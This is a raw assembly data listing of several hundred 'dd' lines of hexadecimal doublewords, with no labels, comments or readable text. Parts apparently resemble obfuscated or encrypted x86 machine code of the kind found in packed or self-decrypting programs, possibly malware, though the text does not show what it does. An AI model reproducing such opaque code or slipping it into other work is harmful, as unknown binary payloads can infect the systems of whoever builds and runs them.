		dd 0E3C2B966h, 663B34FFh, 95AC88Bh, 4406BDB5h, 81F28106h
		dd 893C0E63h, 4425AD85h, 0E5F28106h, 6652A7F9h,	81CB44BEh
		dd 379951EAh, 0CB8B6611h, 891F1489h, 441E7DBDh,	0D5858B06h
		dd 83064409h, 9E804EBh,	67000000h, 4729E77Eh, 93AFC2A8h
		dd 30B98523h, 815E0644h, 0FF95C0FBh, 0A1850FFFh, 0E9FFFFFFh
		dd 10h,	0EA292C8h, 13164EFh, 34C0C879h,	2B1928B6h, 90E48D8Dh
		dd 6A064Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0B7E5F7C3h, 60BE31ABh, 14E9h, 16FE5600h
		dd 0EA7E2040h, 4EB48736h, 2EEBE760h, 81C67561h,	5D8D8952h
		dd 6A06442Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E950C355h, 14h, 1C1BDCC2h, 0D440F28h
		dd 0CF0C5783h, 0B3E738CEh, 88E67E4h, 67985C7h, 6CA40644h
		dd 0BD330000h, 6442C1Dh, 107185C7h, 644h, 5E80000h, 0D6000000h
		dd 2B7811B8h, 6F1BD89h,	0FF580644h, 440A49B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0E94C4012h, 66794730h, 0CE9h, 24E84100h, 5D12FAB0h
		dd 13C2E4F0h, 0F995FF97h, 6A06440Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0D8E4C356h
		dd 0F897D0ABh, 567D07B3h, 0B219D01h, 6A5E0644h,	4D95FF00h
		dd 8B06441Ch, 0A229EBC0h, 11C73A4Dh, 0EB768E0Dh, 0A63A22AFh
		dd 52496C0Ch, 721CA512h, 0A00E6D7Ah, 0A4EAD44Eh, 14CD1565h
		dd 1E1B767Eh, 459D3128h, 5E8h, 631400h,	295BC44Fh, 4406758Dh
		dd 0C9C38106h, 8900005Bh, 4429E595h, 16DAB906h,	81660000h
		dd 8BB253C7h, 0F9B70F33h, 5FD0C681h, 958B7EA6h,	6440FADh
		dd 9D34F681h, 35B41668h, 0D386C681h, 0C78B5492h, 0B70F3389h
		dd 4EB83FEh, 0E0C88166h, 1E9838Bh, 0FFC9850Fh, 800FFFFFh
		dd 6, 1AFD850Bh, 13E80644h, 0C5000000h,	3607663Ch, 0E97CE55Ah
		dd 228B9500h, 14FF747Eh, 9D8914A0h, 64430DDh, 0ED958958h
		dd 8106442Fh, 6F95C0h, 4523BA00h, 682315h, 5F000000h, 309D8D29h
		dd 34FF0644h, 8E807h, 37BC0000h, 0D5BFE32Bh, 870F2949h
		dd 6, 86D8589h,	5B590644h, 488BA66h, 4F5DF381h,	840F7D87h
		dd 6, 31C1958Bh, 0F3810644h, 44703707h,	6840Fh,	95330000h
		dd 64423E9h, 9977F381h,	8D0F7E93h, 6, 3D9958Bh,	1C890644h
		dd 0D9BD8938h, 0F06441Ch, 681h,	2D958900h, 83064420h, 0D98003EFh
		dd 0B5894F09h, 6442999h, 9148FF81h, 850FFFFFh, 11h, 2E18589h
		dd 19E90644h, 97000000h, 0DB03B003h, 918D8B23h,	0E906442Bh
		dd 0FFFFFF5Eh, 1260F39Ch, 0F8FF689Bh, 5E8h, 0BDCBE700h
		dd 8D313894h, 64413C5h,	8B66605Fh, 54DC80CAh, 0CEC78161h
		dd 8A00006Bh, 0BAC933D9h, 65D6E66Ch, 0BB0F348Bh, 17F67CFAh
		dd 1443C681h, 0DE9228Dh, 0F1000000h, 5F0ED217h,	4F4CFE4Ch
		dd 382F9850h, 7052F681h, 10E9078Dh, 6A000000h, 6B9DE722h
		dd 3089037Eh, 0DFE812A7h, 81C9F734h, 579B74C6h,	1703BA35h
		dd 0F561923h, 68Eh, 759D3100h, 8F06441Ah, 0B8660F04h, 0C0809B28h
		dd 4E98368h, 0C4D9D89h,	0F9810644h, 0FFFF94F4h,	16850Fh
		dd 9D030000h, 6441875h,	26E9h, 0A718FA00h, 8796C1CAh, 84F6E354h
		dd 209D8D89h, 6DE90644h, 3AFFFFFFh, 0BE44AAB5h,	0AF50FC9Dh
		dd 0E85EC271h, 0E8EC553Bh, 0Fh,	83C8E297h, 0B5E5ADA0h
		dd 8562EBCBh, 8B9F0BDFh, 44032D95h, 9D8B5806h, 644106Dh
		dd 6185C081h, 0E7800000h, 0E8F62B33h, 9, 0F4555361h, 0D77AFCBFh
		dd 9E94Bh, 0FB4B0000h, 8B542FE4h, 5B1E1D43h, 0E9300C8Bh
		dd 0Dh,	71D1869Dh, 289C1ACCh, 4A84758Fh, 0D8F18172h, 895707EFh
		dd 44068995h, 1E98106h,	666C35C0h, 5385D281h, 0BE22F181h
		dd 0BEBA7B0Fh, 897F3EFCh, 0EA81300Ch, 15E72E14h, 2904EE83h
		dd 442B9D95h, 1CFE8106h, 0FFFFF9Fh, 0FFFFAB85h,	68D0FFFh
		dd 2B000000h, 44263195h, 0A0758206h, 14690889h,	8DA6DC78h
		dd 366163FBh, 35A12E86h, 0D9259086h, 30254813h,	24909905h
		dd 3F2514C2h, 30258102h, 0DD980786h, 302306A8h,	305EA589h
		dd 0B5E39086h, 36614A6Fh, 3021CCC8h, 0E7651286h, 0BB75A1C4h
		dd 0BB21A0C2h, 1461CB86h, 85DA7982h, 36618433h,	478ACD0Bh
		dd 0E0DA22C1h, 0B5E3E20Dh, 36610B6Fh, 9F6BECC8h, 4A4C704h
		dd 0F05D2FA2h, 0DD906FABh, 0BD230CA8h, 77528B03h, 0BBF5ED80h
		dd 3035B07Eh, 38CC8486h, 96254286h, 302BA489h, 3B6C9086h
		dd 0C0A0474Fh, 0D9DADB79h, 3025128Bh, 7E70940Bh, 359D82C2h
		dd 0CF254286h, 0E798AC65h, 0BD23DA15h, 7AB1D50Bh, 15379C80h
		dd 0FF0E94B6h, 0A0758247h, 14690889h, 8DA6DC78h, 366163FBh
		dd 35A12E86h, 0D9259086h, 30254813h, 83909905h,	0A4F305E9h
		dd 22B9h, 0EE800h, 23070000h, 0AAA640ECh, 0AC5BC517h, 0A6EBFFD1h
		dd 5F32B357h, 0E59D095Ah, 81064418h, 6065C2h, 62F68100h
		dd 0B904643Eh, 0
		dd 0EE0CBB66h, 8B1134FFh, 0F38158FBh, 38DF4453h, 86B5E881h
		dd 0B52957D3h, 6442471h, 6E56F081h, 8B660ED6h, 74F081FEh
		dd 813F0F0Fh, 0BE490DE3h, 0A04890Bh, 81F0B70Fh,	2C9701E9h
		dd 0DA8B664Bh, 96FDC181h, 8C0F4B2Ch, 5,	29D38166h, 5CF981E8h
		dd 0FFFFFA0h, 1D85h, 49BD2900h,	0E9064419h, 33h, 337E1B96h
		dd 9AB39DFFh, 0C5A0ABC8h, 0F5D8BFEh, 3151F423h,	4432A1B5h
		dd 7DE95B06h, 63FFFFFFh, 2B0FD5FDh, 66A4BD1Bh, 0C499597Fh
		dd 93AEEC11h, 0EB9FFE71h, 10B95F04h, 51DE921h, 6DD70000h
		dd 0EC5866CFh, 73EFD178h, 0E15E60C9h, 7AECD27Bh, 0D74163CAh
		dd 0E8410365h, 5CF56FD6h, 0F45DFF62h, 42EB59CAh, 3EFD6206h
		dd 8FC2E5FFh, 0D64F6BD9h, 0E193F76Eh, 59C6A6A8h, 295B7AE3h
		dd 1F7B61BAh, 3053D980h, 9BD3F2C9h, 239E43A5h, 0F3198B9h
		dd 89B72E96h, 0F31A81Ch, 0FFB42D97h, 8341A59Bh,	0C05F3B1Ah
		dd 0C9305419h, 0A0DB93B2h, 0B82C9976h, 0D84B7511h, 94DCFD64h
		dd 0E18537AAh, 791B7593h, 8CC43543h, 34A81B25h,	8CF7C9ADh
		dd 566849D0h, 43A72EAh,	0C2BA23A1h, 0E4DA6DB9h,	0B789C17Bh
		dd 739904Ch, 20BF269Eh,	0C92FB476h, 5FF23C47h, 0B3F5A43Bh
		dd 0A4D6C92Fh, 378E27A2h, 0CF87A6BBh, 0F4918DF9h, 7CA601h
		dd 0A6C20000h, 7E9E5DC2h, 0E2FC930h, 307DEA91h,	0FCC2E3C9h
		dd 6F4ED785h, 2B159527h, 0B19009BBh, 0E65EC7F9h, 9A4ABC82h
		dd 23D44BD2h, 0B0C93094h, 0CCA85FCBh, 3094A853h, 480021C9h
		dd 0F4B4067Eh, 12F01h, 4F9D0000h, 37096DD7h, 0AA8B12CAh
		dd 0E1457BE2h, 5BC4FA63h, 0DD4678E1h, 0CE570D78h, 2557CEEFh
		dd 84F10209h, 0BA2B158Eh, 661D930Ah, 700B40BCh,	67DD49A6h
		dd 0D193F0CEh, 0D94FCA78h, 0E496F26Bh, 9C75668Bh, 0CE51353Ah
		dd 0C92FFD0Bh, 0EBD59DBCh, 4E50C97Bh, 9A0CE935h, 48BD832Ah
		dd 0C73B059Ch, 2B157115h, 0B2930ABAh, 2FFD6E2Dh, 367E5FC9h
		dd 8793E8AFh, 0F41A52A2h, 68E301h, 15510000h, 9C05B72Bh
		dd 5DCBF5BDh, 0E0407EE7h, 0D5AEE57Ch, 1CC4B649h, 75A8C4BEh
		dd 13754B03h, 60C6F851h, 42BE80E4h, 2F4BD29Ah, 460EB611h
		dd 0CC550778h, 0C126F08Bh, 1F44D75h, 66BEh, 67150C00h
		dd 71A8933Eh, 427C34F9h, 9DF960E4h, 188143A3h, 0D44F7139h
		dd 0E09BF168h, 0B06FD936h, 30246C2Fh, 5D7C5DC9h, 0D74F46F4h
		dd 0AD6BF46Dh, 54C93094h, 0ECAF30EFh, 0DDC93093h, 7A44DDFCh
		dd 0FB66580Ch, 23BCD841h, 0C9309478h, 73087051h, 483355A7h
		dd 0AC152BDEh, 0C088A930h, 0F4B38EF6h, 1A701h, 4F150000h
		dd 0CEF069D3h, 940EBC55h, 7056A9EAh, 0CBB0C851h, 2E8EF25Fh
		dd 1887E387h, 0C92FC161h, 45034B6Ah, 3A0460ADh,	0A2831ACAh
		dd 2EB7259Ch, 0BC23470Fh, 0CF73DD4Eh, 1927BE9Fh, 0AF9138ACh
		dd 88178E36h, 0C2EBC4CFh, 4BBA84E0h, 80AAD199h,	1BB23293h
		dd 6004C025h, 4779E35Eh, 0D9F861DBh, 86C0891h, 0EBC4E497h
		dd 8CC4E5C2h, 0A9351B2h, 56C36F14h, 0E8DE77EDh,	0FBAFE47Ch
		dd 0FCB9h, 9B370B00h, 0A3E97612h, 0EACF74C1h, 0F76C52CBh
		dd 69DAE44Dh, 5D916BA8h, 0F2EB565h, 72F2556Bh, 0A3C7A33Ah
		dd 0EBB87D3Ch, 10704EC2h, 0FBC58DACh, 5D43DA8Ah, 22E24B39h
		dd 9D414214h, 9784AED5h, 8339A92Eh, 961681Ah, 0C36986D7h
		dd 5C6AC3E2h, 0FBB047E8h, 0FE0F4B39h, 68C08BC7h, 367020h
		dd 37C20000h, 0ED72169Fh, 0C930947Eh, 7326B9DDh, 54C93094h
		dd 6A4B3D75h, 6CD0300Eh, 7722BD24h, 0A8C93094h,	29247D3h
		dd 0E148D7B3h, 6AC93094h, 6676E24Bh, 0C4000000h, 76129B37h
		dd 74A097E9h, 4ED7F6CFh, 8B141370h, 0C2EC87D0h,	50F9D8F9h
		dd 0D64FF56Eh, 0EC898D49h, 7BA7DCC2h, 16BF259Eh, 0D2891672h
		dd 0FFC2EC87h, 98DD2001h, 29176174h, 6F2706BEh,	680C8929h
		dd 0F58FDF1Ah, 3179E6E0h, 0AE9ACA55h, 1233C936h, 9450B58Bh
		dd 240E750Dh, 0E6AA34Fh, 6C3B7591h, 0E04968CFh,	0B62B1552h
		dd 0BFCF7406h, 25706419h, 0E872B6Dh, 0F6E186Ah,	0D10E7782h
		dd 0B5D1F074h, 2FC16F2Ah, 317958C9h, 569ACA55h,	4133CF7Ah
		dd 0A0766154h, 7A1E3FEFh, 1CC0201Eh, 803BA485h,	49C2E61Eh
		dd 87B92068h, 0B91E31Eh, 9F010FB2h, 54AF16Eh, 0A283C2E6h
		dd 0AF142A83h, 9E07B52Ah, 63079EBFh, 457BE95Dh,	0D8F960DCh
		dd 28DD0F90h, 0B5D1EA40h, 106EE6C7h, 801FAB07h,	0A81FE8D9h
		dd 0BAF2D3F2h, 8BF855C1h, 0D54E70D9h, 57C8F66Fh, 0DD427CE5h
		dd 68D8E67Fh, 7C076DF4h, 59225AB2h, 120360CDh, 0D075E66Fh
		dd 0C1684922h, 0BADE86FFh, 8D9A41DEh, 1233A820h, 1257C35Ah
		dd 0E5000000h, 0D6492D49h, 0C9309423h, 0B5279AA4h, 642C0D2Ch
		dd 67D54FD6h, 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch
		dd 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 8952EDFAh
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2404895Ch, 1B7F68h
		dd 24348900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241C89h
		dd 68B7h, 0B8240489h, 157F72DFh, 0CA0877BEh, 58C6291Bh
		dd 4EC81h, 24890000h, 24048124h, 4, 4EC835Bh, 8F243489h
		dd 34FF0843h, 0C4835B24h, 2434FF04h, 4C4835Eh, 0F9E471E9h
		dd 0E828EFFFh, 0E0F1BB55h, 5A12B933h, 0B89C2CF9h, 64A9A34h
		dd 0E0FFC503h, 502F1E85h, 3D63832Bh, 6DB503D9h,	682304EBh
		dd 82E92148h, 9A000008h, 231DB428h, 96A801C3h, 251BB22Ah
		dd 97A900BCh, 381AB331h, 2A9A0CF0h, 9A4ABD83h, 26960D33h
		dd 9054B18Fh, 86197D39h, 0C2E5F9D3h, 0EE10A2F4h, 0C9309428h
		dd 59F074D1h, 5E3A731Fh, 74A46FC1h, 56CFEECFh, 0EF46FE68h
		dd 94F074D1h, 84AC6FF0h, 231DC2ECh, 682001C3h, 6EF195F1h
		dd 0C2EC84ABh, 4B753D1Ch, 0CDF36ADAh, 4E70E95Bh, 78F66FD5h
		dd 0C53A1703h, 8EAF8E17h, 0D23FEB90h, 0E597F371h, 423038CAh
		dd 7CEBD572h, 4D2980C8h, 39B0DD3Fh, 0FCB42E13h,	0AFC45ACAh
		dd 729BFBh, 4F290000h, 0AB12ED9h, 0C3C93094h, 948138A7h
		dd 6B4AC930h, 0CCF26B4Ah, 8930AF5Ah, 42C93094h,	7D5C087Ch
		dd 0C35C385Ch, 0C9309418h, 41D890B1h, 0C25B097Fh, 44DD87FCh
		dd 52AA740Fh, 0EEB374Ch, 0B3852C98h, 1F4AF53h, 29FEA6D4h
		dd 9DB34EEEh, 1E85D5h, 4F370000h, 310F6BD9h, 0D6F76ED6h
		dd 0DE98079Eh, 0C1C93093h, 258370BAh, 268216BFh, 30000000h
		dd 0F26BD94Fh, 3094AC6Dh, 4CF051C9h, 0C577EBD5h, 0ED39425Ch
		dd 240E751Fh, 0C956D137h, 0C9309412h, 12BB9ABBh, 129B37A0h
		dd 0B92C1276h, 33AC920Bh, 10311089h, 0AAADC758h, 0D2CCF74h
		dd 8636AA94h, 0BB1112Fh, 0F13CD492h, 0A3640A95h, 4465C930h
		dd 9BAE5220h, 3B78436h,	77ECD24Bh, 0FA6A54CDh, 0CCF2D34Ah
		dd 4D73EA5Ah, 0D2F36ADAh, 916BB7CCh, 76E98DE9h,	0C9302AC3h
		dd 0A81B2504h, 0C48CAD34h, 0E2DC73BFh, 6647DE7Eh, 0CB0102Eh
		dd 0AA279BA5h, 30A9883Ch, 4AFA6A54h, 0F7B9A1D3h, 5273F119h
		dd 5A43B73h, 3EC92FF2h,	47CD945h, 1543F158h, 4C04B82Bh
		dd 4A2E670Ah, 940AB12Eh, 0E2C3C930h, 5AE818AAh,	0DC6ED64Fh
		dd 71156AD8h, 30942BEEh, 0F5BD9CC9h, 0F4A773C3h, 5B8004h
		dd 37320000h, 15A1139Ch, 3093CF8Ah, 6BD9F8C9h, 6715A715h
		dd 0D74FD213h, 0A7D5F46Dh, 0A0E8B04Bh, 3DA5229Eh, 0EB9645DAh
		dd 1637C92Fh, 0AE8FAE37h
		dd 0BA2B151Ch, 1470420Ah, 618D7366h, 4E6BFD87h,	19EEC0C3h
		dd 9A286041h, 43B62B15h, 30941DDCh, 0AE8FAEC9h,	0CA5E1637h
		dd 57h,	0BA2B1578h, 0FAB2930Ah,	2A9815BCh, 93CF8A15h, 8EEAC930h
		dd 30946A11h, 287167C9h, 0E53C55Dh, 79115978h, 3DD7821Dh
		dd 7DE2C930h, 0C9303EBEh, 79582E0Fh, 7115EA58h,	2068D44Fh
		dd 69D34F92h, 29D0330Dh, 309403B6h, 0C4E5C4C9h,	27433E8Ch
		dd 0AF36AE19h, 1574C68Eh, 3B05B72Bh, 6F5119CBh,	0EF151F6h
		dd 3093EA91h, 0E3C2E3C9h, 1E7A5B7Ah, 791DBF20h,	309433E6h
		dd 0FDB594C9h, 15AEFB64h, 0B9C2C935h, 0A123806Dh, 421E6C08h
		dd 2387E271h, 0DE48763Eh, 67C1FF66h, 0E95A64FDh, 4AD5D628h
		dd 7958E7D1h, 0FD67DEE0h, 0BB671C64h, 0FA245F41h, 9039AB1Dh
		dd 0F0B13EA6h, 22F701h,	4F450000h, 0B1F76ED6h, 6FF09421h
		dd 0CF74AEB5h, 23513514h, 0FF98215h, 61F8B0FFh,	68C5512Ah
		dd 52E049FBh, 8BC2B15h,	8D37AF91h, 69DAE4ACh, 8C2462FBh
		dd 0A0FA6501h, 0FBCF7496h, 0B3C17F89h, 57EDBECh, 40367E5Fh
		dd 1CDF4024h, 0ADC2EB96h, 9668138Ch, 0A65C2EBh,	6DEEF0F3h
		dd 0BE291761h, 9B552706h, 1ED4A768h, 6A543011h,	0AB024AFAh
		dd 139C3719h, 216715A1h, 0D5841B94h, 0F6C9308Dh, 10B0A5D7h
		dd 0FC980149h, 2C2AF08Eh, 367E86B3h, 6ED64F84h,	476AD8DCh
		dd 4F4A7EFh, 3904h, 9C37B600h, 928940Ch, 0CF8A15BBh, 0EAC93093h
		dd 946A118Eh, 4263C930h, 0D24C0E30h, 0B3FB6924h, 1556E4C5h
		dd 69D34FA7h, 0E5F143DBh, 3Fh, 0B263F381h, 1236CDABh, 9C37E85Ah
		dd 8A15A113h, 0C93093CFh, 0B067D8E6h, 30946C2Fh, 5D7C5DC9h
		dd 36A187Ch, 377FF969h,	1C3DA71Fh, 0A715E654h, 0D69D34Fh
		dd 99083D7Fh, 4F071CC6h, 4FF143FDh, 68F76ED6h, 0C935161Fh
		dd 0EA473551h, 75E75809h, 0CBBFCDECh, 4B307850h, 531172DFh
		dd 40A09EFAh, 7CEAD49Ch, 0F96F51C8h, 7AEA910Eh,	0C2E3C92Ch
		dd 0E64322B0h, 7859451Ah, 9A84FFE1h, 0F468D9E7h, 3A044C6Dh
		dd 87B118CCh, 1F0121Fh,	3ED4h, 0D64F6600h, 21B1F76Eh, 948B4ED1h
		dd 1074C930h, 22032254h, 0A087D946h, 0E7C6CF74h, 6F51357Eh
		dd 7F044CF8h, 406E1CB3h, 2BBDBC34h, 0C53E0048h,	0ECD2B61Fh
		dd 6A54CD77h, 0F1D049FBh, 4F2A98D0h, 0B1F76ED6h, 0A81C8B21h
		dd 55311031h, 0DF46F66Bh, 4DD2B6FEh, 0CF74C6E3h, 0D08B1470h
		dd 0F9C2EC61h, 94E690D8h, 549F5A91h, 64002178h,	6AC55A16h
		dd 450D2966h, 9C375EECh, 2B15A113h, 0A29C05B7h,	0F6BE9F3Dh
		dd 0D64FDD6Fh, 2B15DC6Eh, 0CF340ABAh, 0E5AD8C15h, 0EF47FE4Ch
		dd 404F4A7h, 38h, 139C37B6h, 0CF8A15A1h, 0F8C93093h, 9458039Ch
		dd 5071C930h, 0A715C371h, 7BD2B15h, 0AB11714Fh,	0E5F14319h
		dd 3Dh,	67DBE581h, 0D24D6CF5h, 0C9309427h, 7BC981A0h, 0ABA2B15h
		dd 736D0442h, 1573B6ABh, 85C4D9A5h, 5957705h, 15A11332h
		dd 3093CF8Ah, 75C7E6C9h, 0D34FA715h, 0D0330D69h, 4396246Ch
		dd 6ED64FF1h, 4AF16E0Ah, 83C93094h, 0EC73EAA2h,	0C935159Bh
		dd 198FB1D5h, 5B1332ABh, 0AC19F620h, 922E5C38h,	56F59245h
		dd 734DE4ACh, 8DCB5212h, 53CCA8E5h, 0CF70177Dh,	0C674DDFCh
		dd 0A1139C37h, 0D64F5AE8h, 6AD8DC6Eh, 0F4A7EF47h, 38423004h
		dd 82E9DCE4h, 46F66A54h, 3B5E0Eh, 43A0000h, 0D86A22A2h
		dd 0A1139C37h, 93CF8A15h, 0D9F8C930h, 0EE71156Bh, 0C930942Bh
		dd 8044A29Ch, 3F8DE9A1h, 0F76D34Fh, 93CC8F10h, 0DCFDC930h
		dd 644564FDh, 0E5F143D6h, 47h, 0C9C3757h, 6E0A2B99h, 0E970F450h
		dd 153280C8h, 0CF8A1571h, 0F8C93093h, 0C7E65EC6h, 9469108Fh
		dd 5D7CC930h, 0C7AA4B39h, 0F335885Ch, 0A71509BBh, 0B32CD34Fh
		dd 0C9309408h, 73C1E0C1h, 0FD706715h, 0EBB61C5Eh, 4F2391A3h
		dd 0AA1271D6h, 2C980D33h, 3A482C0Dh, 295F2385h,	0A71D899Eh
		dd 3357CE86h, 2111C857h, 94F2C930h, 2C98A6D0h, 4ED199B8h
		dd 0C934A2F9h, 0B62D1377h, 0AA33A919h, 99E2AA8Bh, 0A09EFA8Dh
		dd 26079E46h, 2BA202B9h, 0A2EACBC9h, 14BD279Ch,	920BB92Ah
		dd 95F13CD4h, 1FA3AFE7h, 0CCF24385h, 5372EB59h,	8EE07F1Bh
		dd 0CFCF7008h, 4CB48AEEh, 1571D890h, 0F1840567h, 0BCF47663h
		dd 139C370Eh, 0BB2B15A1h, 6AD84109h, 0DC6ED64Fh, 0EF476AD8h
		dd 404F4A7h, 42h, 139C37B6h, 0CF8A15A1h, 0F8C93093h, 85FC59C6h
		dd 4E6F4ED7h, 6715DD6Fh, 12045B1Ah, 1689EDD2h, 0C92FBD63h
		dd 690D4564h, 43F6690Dh, 84C92FBDh, 0B49547BAh,	0D34F4EFCh
		dd 0F143DB69h, 16E5h, 9C375700h, 8A15A113h, 0C93093CFh
		dd 1575C7E6h, 69D34FA7h, 4FF143DBh, 0B1F76ED6h,	94F09421h
		dd 3094500Bh, 2A5879C9h, 0EE51F0DBh, 93F7BFBFh,	74A4AE0Ch
		dd 5A3E1FCFh, 63FAA13Eh, 0F2D3C2ECh, 0BD5513BAh, 988B1470h
		dd 31C936FEh, 89ED8910h, 21EA6316h, 7B52CC9h, 26185071h
		dd 5D6307BDh, 973E76E6h, 11883CA9h, 65D74B75h, 0A95DDFCh
		dd 0F024B63Ah, 0EC49D5AEh, 5A64CD77h, 6D1F7BE9h, 0ED8A8290h
		dd 0A53C742Bh, 0D2B6269Bh, 0EE460AA0h, 0ED52751Eh, 0BF266E4Fh
		dd 8572BCC7h, 9448BB20h, 0C1221CB5h, 4162BF50h,	5242D53h
		dd 0C089Ch, 49BA0000h, 8E435F2Dh, 25F190E3h, 0D54FDF6Dh
		dd 63C0FE67h, 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h
		dd 0DB447AE3h, 5AC6F861h, 0E1457BE2h, 68EDFA63h, 0C40h
		dd 57243C89h, 0C781E789h, 4, 8704EF83h,	895C243Ch, 89532414h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 241C895Ch, 9AD5BE56h
		dd 5A56064Ah, 1C8B545Eh, 4C48324h, 4EC81h, 2C890000h, 89D58924h
		dd 8B5D086Bh, 8952241Ch, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 24148B5Ch, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0F9DBC5E9h
		dd 908114FFh, 0A2D5B882h, 0C503064Ah, 9E25E0FFh, 9E165212h
		dd 6BD1F00h, 6131086Ch,	0B4985F02h, 5756146Eh, 2A516766h
		dd 3BB70DB4h, 9F77D37h,	4CF26718h, 0AD621D5Fh, 19065A78h
		dd 0B13A3D4Bh, 65C2764Eh, 0A699074Ah, 3B5F72D2h, 17E1498Fh
		dd 0FAC620F5h, 7EB50514h, 566E16A9h, 20E35D25h,	12102CDAh
		dd 0C6560F2h, 0C189477Eh, 0C6F248A3h, 0DB147541h, 0F53439h
		dd 8D8D5898h, 64AA499h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 4CC35242h, 0D267C826h, 958B60FEh, 6440049h
		dd 25A5B58Bh, 89610644h, 442F5D8Dh, 0F19D3106h,	0C7064406h
		dd 44067985h, 6AC006h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0E90598D6h, 11h, 0E1EB6062h
		dd 8D19F1Ah, 0F400027Eh, 0BA858FB8h, 7185C73Dh,	64410h
		dd 8B000000h, 4421E985h, 0DB5FF06h, 8B06440Ch, 44086D85h
		dd 47BE6606h, 0F995FFC6h, 6A06440Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9396C356h
		dd 65B10139h, 95FF006Ah, 6441C4Dh, 6CEBC08Bh, 0F7EDA22Bh
		dd 48625408h, 2521B9F0h, 837656E7h, 590AFDB6h, 9F25893Eh
		dd 14E2AB72h, 703FB6E5h, 0D8C542E4h, 611DCCA2h,	0A7C5FBCAh
		dd 9CF11F91h, 9842249h,	9C58C8E1h, 3F3AD5E6h, 737795D4h
		dd 5CB6F09Fh, 4BD2C29Dh, 2D620329h, 3D168EDh, 9D8BBE8Ah
		dd 9FB5EE7h, 1FC4EF6Eh,	0CE0FB28Ah, 63F27E78h, 6218CF86h
		dd 0B25D74E4h, 0AE8h, 0B8B0B200h, 9C1FC6DBh, 0BA0BC63Fh
		dd 47FB8CC4h, 81F88B5Eh, 6DA4C6h, 66EF8100h, 0B97CB3F1h
		dd 1B41h, 10E9h, 30D38700h, 116C9481h, 0B7BB2364h, 9A821231h
		dd 0F1E8B21h, 0C381FFBFh, 58FCABB0h, 58C38B56h,	357CEB81h
		dd 858B6026h, 6440D81h,	0A78AEB81h, 858B2CFAh, 6440FB9h
		dd 0EF816653h, 68FE53Ah, 0EE83C2B0h, 65958904h,	49064430h
		dd 1B850Fh, 958B0000h, 6441999h, 20E9h,	90704B00h, 1A15A01Bh
		dd 8C28B3EBh, 0F853CEF8h, 9D9531FFh, 0E9064432h, 0FFFFFF99h
		dd 0E65CB1E6h, 9604EB15h, 0E972EF33h, 57Fh, 802993F1h
		dd 379E46BEh, 8A239909h, 38914BB4h, 8D24A006h, 319785AFh
		dd 0C1241AB3h, 2D94AA03h, 0AB18268Fh, 0B0D49039h, 0E5EF6C2Fh
		dd 6F0B5DC2h, 36019C1Dh, 5C147AF5h, 6ED64FEEh, 0E55FC9F7h
		dd 9E46BF81h, 0A7182607h, 0EAD47D35h, 0DDAFCB79h, 8334189Eh
		dd 0C5201E3Ah, 0EFA7861Fh, 69DB4876h, 11D3330Dh, 9450B688h
		dd 5A64FDB5h, 0A8E37AEAh, 79EA47D3h, 0E55C62CBh, 5771377h
		dd 9D6F58C3h, 0A655CAE4h, 27C9301Fh, 0AA33A919h, 4BE2AA8Bh
		dd 7AFD0E75h, 97045053h, 76127657h, 2FD132E9h, 0CE6ED3C9h
		dd 88EB99B8h, 0F8287E91h, 0B8861F57h, 300E974Dh, 29930FD4h
		dd 38AF9108h, 0EE71158Ch, 0C92FFA2Bh, 8DF6BD9Ch, 0A8D3ABA1h
		dd 8A32917Eh, 0D176D0EEh, 7253CA72h, 8CB21B53h,	5034AD17h
		dd 0D471F022h, 0E9A14AE6h, 304AC076h, 0C06A11C9h, 0F469EB5Bh
		dd 0C7583C01h, 0C9305614h, 6FF094B5h, 0C93056ACh, 24743C1Dh
		dd 54h,	6ED64F96h, 94AF68F7h, 0F054C930h, 72D3ED74h, 5B206BF2h
		dd 601B7DCFh, 0C57103B6h, 65DF497Ah, 49AFDDFCh,	0E8DE96A0h
		dd 1F4AA7Ch, 1B9h, 0D74F0B00h, 5ACAF46Dh, 0D44D73EAh, 0C1BAF168h
		dd 0D88CF855h, 6ED64F71h, 4AF16E0Ah, 83C93094h,	0F143EAA2h
		dd 0F26BD94Fh, 75EC58CCh, 887D0F6Bh, 30EB74E3h,	99C93022h
		dd 0ACA6CAB8h, 0F43E450Dh, 8A23A107h, 0C954FB4h, 0F76ECE32h
		dd 0FA5FCBB0h, 1F4B09Ah, 725Bh,	0D94FE900h, 593B8738h
		dd 72CD4C3Dh, 689FB23h,	2246676Fh, 733BA91Ch, 0F06CD4EAh
		dd 0CD592269h, 0E8D6483Ah, 6143FA0Ah, 33B11729h, 5FC0FE9Ah
		dd 0D4564FDh, 0F66FD533h, 81E557C8h, 11CA43BFh,	1197CBC9h
		dd 85A43D1Ch, 681354CDh, 65FD59BEh, 6F3601F4h, 84000000h
		dd 0F26BD94Fh, 7EE755CCh, 56C36F14h, 0EBAE31F0h, 0DCC93093h
		dd 0E262C3FDh, 15D86AC3h, 0CF8A1571h, 0F8C93093h, 949346D9h
		dd 0B926C930h, 0C9309402h, 0BD9CEACBh, 25BC2083h, 12724C04h
		dd 29443652h, 9B5EC17Dh, 2CC92FA8h, 8B807F0Dh, 43DC450Dh
		dd 0C92FC295h, 6ED35F24h, 1F3E1F6h, 8C49790Bh, 0C23E7C99h
		dd 8BC3E262h, 1DBh, 0D34F6900h,	55CEF069h, 3E8394F0h, 1D50E062h
		dd 87E3C2E3h, 20BD7CE3h, 0F90AC930h, 0A30E3376h, 9CD4F583h
		dd 1C067D05h, 0A006C33Fh, 3514C83Bh, 57FBBD14h,	0C725BADEh
